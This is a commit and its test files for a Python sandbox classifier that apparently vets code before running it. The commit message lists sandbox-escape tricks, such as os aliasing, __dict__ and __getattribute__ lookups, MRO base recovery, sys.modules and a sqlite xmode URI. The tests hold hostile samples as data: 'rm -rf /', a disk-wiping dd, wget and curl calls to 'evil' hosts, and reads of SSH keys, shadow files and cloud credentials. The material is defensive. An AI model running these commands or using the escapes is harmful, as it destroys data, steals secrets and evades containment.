Harden sandbox: workdir-vetter alias / namespace / MRO / sys.modules gaps, network client entry points, request() URL arg, sqlite URI mode parsing

Close eight gaps Codex found on the round-60 branch (seven inline P1 plus one
review-body P1). Five are in the runtime workdir-module import vetter (a planted
workdir helper is not scanned by the outer static pass), two are in the static
network scanner, and one is the runtime sqlite URI parser.

- assigned os aliases in the vetter: the pre-pass only recorded `import os as o`
  aliases, so a workdir helper doing `import os; o = os; o.system(...)` passed
  vetting and spawned an unguarded child. Follow simple whole-module assignments
  (o = os; b = builtins; s = sys) to a fixpoint before the sink checks.

- module namespace-dict subscripts in the vetter: `os.__dict__['system'](...)`
  reached the sink because __dict__ was not a gadget and the subscript branch only
  failed closed for builtins. Fail closed on a `<module>.__dict__[...]` subscript
  for os / posix / deserializer / sys / importlib, like vars(<module>).

- module __getattribute__ / __getattr__ in the vetter: `os.__getattribute__(
  'system')(...)` reached the sink because only the builtin getattr(...) form was
  recognized. Classify bound `module.__getattribute__('name')` and unbound
  `object.__getattribute__(module, 'name')` lookups the same way as getattr.

- MRO base recovery in the vetter: `io.FileIO.__mro__[1]('/tmp/x','w')` /
  `sqlite3.Connection.__mro__[1](...)` recovered an unguarded base class because the
  helper gadget set omitted __mro__ / mro. Add both to the gadget attributes.

- sys.modules in the vetter: `sys.modules['os'].system(...)` recovered the
  guard-cached os module without an import, bypassing the denied-import path. Deny
  sys.modules access (direct attribute and getattr form) in a vetted workdir module.

- public network client entry points: `requests.api.get(...)`, `ftplib.FTP(...)`,
  and `smtplib.SMTP(...)` were not in the network prefix table, so a metadata /
  untrusted host reached through them bypassed the allowlist. Add requests.api.*,
  ftplib.FTP / FTP_TLS, and smtplib.SMTP / SMTP_SSL / LMTP (the ftplib / smtplib
  clients take a bare host), and track ftplib / smtplib import aliases.

- request(method, url) URL argument: module-level requests.request / httpx.request /
  urllib3.request (and requests.api.request) carry the URL at arg1, but the code
  passed arg0 (the HTTP method) to the host check, so the URL was never inspected.
  Read the URL from arg1 for these method-first APIs, like the client-instance
  .request() branch.

- sqlite URI mode=memory parsing: a `file:/tmp/escape.db?xmode=memory` URI was
  treated as in-memory by a substring test and skipped path confinement, but SQLite
  ignores the unknown xmode key and opens the on-disk file. Parse the query exactly
  (split on &, first occurrence of a repeated key, percent-decoded) and treat only a
  genuine mode=memory parameter as in-memory, in the runtime guard and the two static
  sqlite operand checks.

Regression coverage: TestRound61Bypasses in tests/test_sandbox_tools.py (request()
URL at arg1 for requests / httpx / urllib3 / requests.api, network client entry
points against metadata and untrusted hosts, sqlite shell xmode=memory on an
escaping absolute path, plus a benign-allowed set: trusted-host requests / api /
ftplib / smtplib, a genuine in-memory URI, and a workdir-relative db) and, in
tests/test_sandbox_runtime_backstop.py, workdir-module denials for the assigned os
alias, os.__dict__ subscript, os.__getattribute__, io.FileIO.__mro__, and
sys.modules['os'] forms, a benign os-alias helper that still imports, and the sqlite
URI xmode=memory escape denial plus a genuine mode=memory allowance.

studio/backend/tests/test_sandbox_aliasing.py

@@ -0,0 +1,140 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Stage 4: pragmatic single-assignment / inline-container sink aliasing."""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.inference.tools import _check_code_safety
+
+
+def _blocked(code):
+    assert _check_code_safety(code) is not None, code
+
+
+def _ok(code):
+    assert _check_code_safety(code) is None, code
+
+
+class TestAliasedSinkBlocked:
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'import os\ns = os.system\ns("rm -rf /")',
+            'import os\ns = os.system\ns("dd if=/dev/zero of=/dev/sda")',
+            'from os import system as z\nz("rm -rf ~")',
+            'import os\n[os.system][0]("rm -rf /")',
+            'import os\n(os.system,)[0]("rm -rf /")',
+            'import os\n{"k": os.system}["k"]("rm -rf /")',
+            'import subprocess\np = subprocess.getoutput\np("wget http://evil -O -")',
+        ],
+    )
+    def test_block(self, code):
+        _blocked(code)
+
+
+class TestFuncLocalAliasBlocked:
+    """A shell-sink alias bound inside a function body (not just at module top
+    level) must still be resolved -- the sink scan walks the whole tree."""
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            "import os\ndef run():\n    s = os.system\n    s('curl http://evil')\nrun()",
+            "import subprocess\n"
+            "def run():\n    p = subprocess.getoutput\n    p('wget http://evil -O -')\nrun()",
+        ],
+    )
+    def test_block(self, code):
+        _blocked(code)
+
+    def test_func_local_benign_alias_allowed(self):
+        # A non-sink local alias (or a sink alias with a safe command) stays allowed;
+        # the ast.walk widening must not introduce false positives.
+        _ok("def run():\n    f = sorted\n    return f([3, 1, 2])\nrun()")
+        _ok("import os\ndef run():\n    s = os.system\n    s('echo done')\nrun()")
+
+    def test_func_local_exec_alias_blocked(self):
+        # An exec builtin aliased inside a function must still be unwrapped and its
+        # recovered payload analyzed (exec-env aliasing walks the whole tree).
+        _blocked("def f():\n    e = exec\n    e(\"__import__('os').system('id')\")\nf()")
+        _blocked("def f():\n    r = eval\n    r(\"__import__('os').system('rm -rf /')\")\nf()")
+
+
+class TestPerScopeAliasCounting:
+    """Alias single-assignment is counted PER function scope: two functions binding
+    the same local name must not cancel each other out (a tree-wide count would treat
+    both as ambiguous and miss a real sink)."""
+
+    def test_two_functions_same_shell_alias_name_blocked(self):
+        _blocked(
+            "import os\n"
+            "def a():\n    s = os.system\n    s('rm -rf /')\n"
+            "def b():\n    s = print\na()"
+        )
+
+    def test_two_functions_same_exec_alias_name_blocked(self):
+        _blocked(
+            "def a():\n    e = exec\n    e(\"__import__('os').system('id')\")\n"
+            "def b():\n    e = print\na()"
+        )
+
+    def test_two_functions_benign_aliases_allowed(self):
+        _ok(
+            "def a():\n    s = sorted\n    return s([3, 1])\n"
+            "def b():\n    s = max\n    return s([1, 2])\na()"
+        )
+
+    def test_sink_alias_does_not_leak_into_other_scope(self):
+        # A `s = os.system` in one function must NOT make a benign `s = print` call in
+        # another function look like a shell sink (would be a false positive).
+        _ok(
+            "import os\n"
+            "def a():\n    s = os.system\n    s('echo hi')\n"
+            "def b():\n    s = print\n    s('remove the rm temp files')\n"
+            "b()"
+        )
+
+    def test_safe_compiled_alias_does_not_shadow_dynamic_exec(self):
+        # A safe `c = compile('1+1')` in one function must NOT let a dynamic
+        # `c = compile(src); exec(c)` in another function be treated as safe.
+        _blocked(
+            "def a():\n    c = compile('1 + 1', '<s>', 'eval')\n    eval(c)\n"
+            "def b(src):\n    c = compile(src, '<s>', 'exec')\n    exec(c)\n"
+            "b('x')"
+        )
+
+    def test_function_local_shadow_of_module_alias_allowed(self):
+        # A module-level `s = os.system` shadowed by a local `s = print` resolves to
+        # the local binding inside that function.
+        _ok("import os\ns = os.system\ndef f():\n    s = print\n    s('please rm the files')\nf()")
+
+    def test_parameter_shadows_module_alias_allowed(self):
+        # A function parameter lexically shadows an outer sink alias of the same name,
+        # so a call through the parameter is not the sink (must not be a false positive).
+        _ok("import os\ns = os.system\ndef f(s):\n    s('rm -rf /')\nf(print)")
+        _ok("import os\ns = os.system\ndef f(s, /):\n    s('rm -rf /')\nf(print)")
+        _ok("def e_outer():\n    pass\ne = exec\ndef g(e):\n    e('x')\ng(print)")
+
+
+class TestAliasingLowFalsePositive:
+    def test_reassigned_alias_not_treated_as_sink(self):
+        # s is stored twice -> ambiguous -> NOT aliased. The literal arg is benign
+        # anyway, so this must stay allowed (no flow-insensitive union).
+        _ok('import os\ns = os.system\ns = print\ns("hi")')
+
+    def test_alias_with_safe_command_allowed(self):
+        _ok('import os\ns = os.system\ns("echo done")')
+
+    def test_container_with_safe_command_allowed(self):
+        _ok('import os\n[os.system][0]("echo hi")')
+
+    def test_plain_local_alias_allowed(self):
+        _ok("f = sorted\nf([3, 1, 2])")

studio/backend/tests/test_sandbox_const_fold.py

@@ -0,0 +1,245 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Unit tests for the pure constant folder used by the sandbox classifier."""
+
+import ast
+import sys
+from pathlib import Path
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.inference.tools import _build_const_prop_env, _const_fold
+
+
+def _fold(expr: str, env = None):
+    return _const_fold(ast.parse(expr, mode = "eval").body, env = env)
+
+
+class TestConstFoldLiterals:
+    def test_string_constant(self):
+        assert _fold('"hello"') == "hello"
+
+    def test_int_constant(self):
+        assert _fold("42") == 42
+
+    def test_bytes_constant(self):
+        assert _fold('b"abc"') == b"abc"
+
+    def test_none(self):
+        assert _fold("None") is None
+
+
+class TestConstFoldArithAndConcat:
+    def test_str_concat(self):
+        assert _fold('"os" + "." + "system"') == "os.system"
+
+    def test_str_repeat(self):
+        assert _fold('"ab" * 3') == "ababab"
+
+    def test_bytes_concat(self):
+        assert _fold('b"a" + b"b"') == b"ab"
+
+    def test_int_add(self):
+        assert _fold("2 + 2") == 4
+
+    def test_percent_format(self):
+        assert _fold('"os.%s" % "system"') == "os.system"
+
+    def test_huge_repeat_refused(self):
+        assert _fold('"x" * (10 ** 8)') is None
+
+    def test_pow_refused(self):
+        assert _fold("2 ** 4") is None
+
+    def test_small_bytes_count_folds(self):
+        from core.inference.tools import _FOLD_MAXLEN
+
+        assert _fold("bytes(10)") == b"\x00" * 10
+        assert _fold("bytes(b'abc')") == b"abc"
+        assert _fold(f"bytes({_FOLD_MAXLEN})") == b"\x00" * _FOLD_MAXLEN
+
+    def test_huge_bytes_count_refused(self):
+        # bytes(N) / bytearray(N) allocate N zero bytes; an oversized count is a
+        # memory-DoS during folding, so it must refuse rather than materialize it.
+        from core.inference.tools import _FOLD_MAXLEN
+
+        assert _fold(f"bytes({_FOLD_MAXLEN + 1})") is None
+        assert _fold(f"bytearray({_FOLD_MAXLEN + 1})") is None
+        assert _fold("bytes(10 ** 9)") is None
+
+
+class TestConstFoldAllocationDoS:
+    """Oversized format widths / sequence repetitions must refuse BEFORE the folder
+    allocates the result (folding runs in the Studio process, ahead of subprocess
+    rlimits)."""
+
+    def test_fstring_width_refused(self):
+        assert _fold("f'{1:1000000000}'") is None
+
+    def test_str_format_width_refused(self):
+        assert _fold("'{:1000000000}'.format(1)") is None
+
+    def test_percent_format_width_refused(self):
+        assert _fold("'%1000000000d' % 1") is None
+
+    def test_nested_format_width_refused(self):
+        # '{:{}}'.format('x', 10**9): the width is supplied by a large arg, so the
+        # template check must refuse before format() allocates.
+        assert _fold("'{:{}}'.format('x', 1000000000)") is None
+        assert _fold("'{:>{w}}'.format('x', w = 10 ** 9)") is None
+
+    def test_nested_format_small_width_folds(self):
+        assert _fold("'{:>{}}'.format('x', 5)") == "    x"
+
+    def test_dynamic_percent_width_refused(self):
+        # '%*s' / '%.*f' take the width/precision from a runtime arg; cannot be bounded.
+        assert _fold("'%*s' % (1000000000, 'x')") is None
+        assert _fold("'%.*f' % (1000000000, 1.0)") is None
+
+    def test_replace_expansion_refused(self):
+        assert _fold("('x' * 65536).replace('x', 'y' * 65536)") is None
+
+    def test_join_expansion_refused(self):
+        assert _fold("','.join(['y' * 65536] * 4096)") is None
+
+    def test_benign_replace_and_join_fold(self):
+        assert _fold("'aaa'.replace('a', 'b')") == "bbb"
+        assert _fold("','.join(['a', 'b', 'c'])") == "a,b,c"
+        assert _fold("'%05d' % 7") == "00007"
+
+    def test_pad_method_width_refused(self):
+        assert _fold("'x'.ljust(1000000000)") is None
+        assert _fold("'x'.rjust(10 ** 9)") is None
+        assert _fold("'x'.center(2000000000)") is None
+        assert _fold("'x'.zfill(10 ** 9)") is None
+
+    def test_list_tuple_repeat_refused(self):
+        assert _fold("[0] * 1000000000") is None
+        assert _fold("(1,) * 10 ** 9") is None
+
+    def test_benign_format_and_repeat_still_fold(self):
+        assert _fold("f'{2 + 2}'") == "4"
+        assert _fold("'{:>8}'.format('hi')") == "      hi"
+        assert _fold("'%05d' % 7") == "00007"
+        assert _fold("'x'.ljust(10)") == "x         "
+        assert _fold("[0] * 8") == [0] * 8
+
+
+class TestConstFoldPathJoin:
+    """os.path.join / posixpath.join of string literals fold so the sensitive-read
+    scanner sees the concrete path (628)."""
+
+    def test_os_path_join_literal(self):
+        assert _fold("os.path.join('/etc', 'passwd')") == "/etc/passwd"
+
+    def test_posixpath_join_literal(self):
+        assert _fold("posixpath.join('/etc', 'shadow')") == "/etc/shadow"
+
+    def test_relative_join_literal(self):
+        assert _fold("os.path.join('sub', 'a.txt')") == "sub/a.txt"
+
+    def test_join_nonliteral_unknown(self):
+        assert _fold("os.path.join('/etc', x)") is None
+
+
+class TestConstFoldJoinFormatFstring:
+    def test_sep_join(self):
+        assert _fold('".".join(["os", "system"])') == "os.system"
+
+    def test_str_format(self):
+        assert _fold('"{}.{}".format("os", "system")') == "os.system"
+
+    def test_fstring(self):
+        assert _fold('f"{2 + 2}"') == "4"
+
+    def test_fstring_all_const(self):
+        assert _fold("f\"import {'os'}\"") == "import os"
+
+
+class TestConstFoldEncodeDecodeBaseHex:
+    def test_encode(self):
+        assert _fold('"abc".encode("utf-8")') == b"abc"
+
+    def test_decode(self):
+        assert _fold('b"abc".decode()') == "abc"
+
+    def test_b64decode(self):
+        assert _fold('base64.b64decode("aW1wb3J0IG9z")') == b"import os"
+
+    def test_urlsafe_b64decode(self):
+        assert _fold('base64.urlsafe_b64decode("aW1wb3J0IG9z")') == b"import os"
+
+    def test_bytes_fromhex(self):
+        assert _fold('bytes.fromhex("696d706f7274")') == b"import"
+
+    def test_binascii_unhexlify(self):
+        assert _fold('binascii.unhexlify("6f73")') == b"os"
+
+    def test_codecs_rot13(self):
+        assert _fold('codecs.decode("vzcbeg bf", "rot_13")') == "import os"
+
+    def test_codecs_hex(self):
+        assert _fold('codecs.decode("6f73", "hex")') == b"os"
+
+
+class TestConstFoldCharOrdSliceReverse:
+    def test_chr_concat(self):
+        assert _fold("chr(50) + chr(43) + chr(50)") == "2+2"
+
+    def test_ord(self):
+        assert _fold('ord("A")') == 65
+
+    def test_reverse_slice(self):
+        assert _fold('"tidbe"[::-1]') == "ebdit"
+
+    def test_slice(self):
+        assert _fold('"abcdef"[1:3]') == "bc"
+
+
+class TestConstFoldContainers:
+    def test_list(self):
+        assert _fold("[1, 2, 3]") == [1, 2, 3]
+
+    def test_str_join_of_folded_chr(self):
+        assert _fold('"".join([chr(111), chr(115)])') == "os"
+
+
+class TestConstFoldUnknown:
+    def test_bare_name_unknown(self):
+        assert _fold("x") is None
+
+    def test_call_unknown(self):
+        assert _fold("requests.get(url)") is None
+
+    def test_pickle_never_folds(self):
+        assert _fold("pickle.loads(b'x')") is None
+
+    def test_getattr_never_folds(self):
+        assert _fold('getattr(os, "system")') is None
+
+
+class TestConstPropEnv:
+    def test_single_assignment_folds(self):
+        tree = ast.parse('p = "2 + 2"\nx = p')
+        env = _build_const_prop_env(tree)
+        assert "p" in env
+        assert _const_fold(ast.parse("p", mode = "eval").body, env = env) == "2 + 2"
+
+    def test_reassigned_name_excluded(self):
+        tree = ast.parse('p = "safe"\np = "os.system"')
+        env = _build_const_prop_env(tree)
+        assert "p" not in env
+
+    def test_loop_target_excluded(self):
+        tree = ast.parse("for p in range(3):\n    pass")
+        env = _build_const_prop_env(tree)
+        assert "p" not in env
+
+    def test_concat_prop(self):
+        tree = ast.parse('p = "os.system(\'rm -rf /\')"\ny = "import os; " + p')
+        env = _build_const_prop_env(tree)
+        folded = _const_fold(ast.parse('"import os; " + p', mode = "eval").body, env = env)
+        assert folded == "import os; os.system('rm -rf /')"

studio/backend/tests/test_sandbox_filesystem.py

@@ -0,0 +1,101 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Stage 3: static sensitive-read scanner in the sandbox classifier.
+
+Filesystem WRITE confinement is enforced at runtime by the realpath backstop (see
+test_sandbox_runtime_backstop.py), which is strictly more robust than static path
+proving. This static pass only blocks host-secret READS, which the backstop leaves
+unpatched, so writes/deletes must pass the static gate and be confined at runtime.
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.inference.tools import _check_code_safety
+
+
+def _blocked(code):
+    assert _check_code_safety(code) is not None, code
+
+
+def _ok(code):
+    assert _check_code_safety(code) is None, code
+
+
+class TestSensitiveReadBlocked:
+    """Host-secret reads must block statically (the runtime backstop skips reads)."""
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'open("/etc/passwd").read()',
+            'open("/etc/shadow").read()',
+            'open("../../etc/passwd").read()',
+            'open("~/.ssh/id_rsa").read()',
+            'open("/proc/self/environ").read()',
+            'open("~/.aws/credentials").read()',
+            # library loaders that internally open() the path
+            'import numpy as np; np.load("/etc/shadow")',
+            'import pandas as pd; pd.read_csv("/etc/passwd")',
+            'from pathlib import Path; Path("/root/.ssh/id_rsa").read_text()',
+            # a sensitive path anywhere (incl. write targets) is caught by the
+            # callee-independent scan, which is fine (also runtime-confined)
+            'import os; os.rename("data.csv", "/root/data.csv")',
+        ],
+    )
+    def test_block(self, code):
+        _blocked(code)
+
+
+class TestWritesPassStaticGate:
+    """Writes/deletes/renames to non-secret paths are no longer statically blocked;
+    the runtime realpath backstop confines them. They must pass the static gate so
+    benign in-workdir I/O is never over-blocked."""
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'import shutil; shutil.rmtree("/home/user")',
+            'import os; os.remove("../secret.txt")',
+            'open("/etc/cron.d/x", "w").write("* * * * *")',
+            'import os; os.symlink("/etc", "link")',
+            'import os; os.chmod("/usr/bin/python", 0o777)',
+            'open(f"/var/log/{name}", "w")',
+            'import tempfile; tempfile.mkstemp(dir="/tmp")',
+            'import numpy as np; np.save("/etc/x.npy", a)',
+            'import os; os.makedirs("/opt/evil")',
+            'import os; os.rename("data.csv", "backup/data.csv")',
+        ],
+    )
+    def test_static_allow(self, code):
+        _ok(code)
+
+
+class TestBenignFilesystemAllowed:
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'open("out.txt", "w").write("hi")',
+            'from pathlib import Path; (Path("results") / "m.json").write_text(s)',
+            'import os; os.makedirs("run/ckpt", exist_ok=True)',
+            'import shutil; shutil.copy("a.csv", "b.csv")',
+            'import numpy as np; np.save("emb.npy", arr)',
+            'import pandas as pd; df.to_parquet("out/data.parquet")',
+            'import json; json.dump(d, open("r.json", "w"))',
+            "import tempfile; f = tempfile.NamedTemporaryFile()",
+            'import pandas as pd; pd.read_csv("/data/train.csv")',
+            "open(fname).read()",
+            'p = "ckpt.pt"\nimport torch\ntorch.save(m, p)',
+            'df.to_csv("results/summary.csv")',
+            'open("data_" + str(i) + ".csv").read()',
+        ],
+    )
+    def test_allow(self, code):
+        _ok(code)